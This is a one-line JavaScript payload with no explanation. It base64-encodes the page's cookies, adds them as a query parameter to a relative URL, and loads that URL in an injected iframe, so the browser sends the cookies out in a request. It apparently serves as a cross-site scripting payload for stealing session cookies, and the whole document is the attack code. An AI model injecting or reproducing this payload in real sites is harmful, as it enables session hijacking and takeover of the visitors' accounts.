var url = "?c=" + encodeURIComponent(btoa(document.cookie)); f = document.createElement('iframe'); f.src = url; document.getElementsByTagName('body')[0].appendChild(f);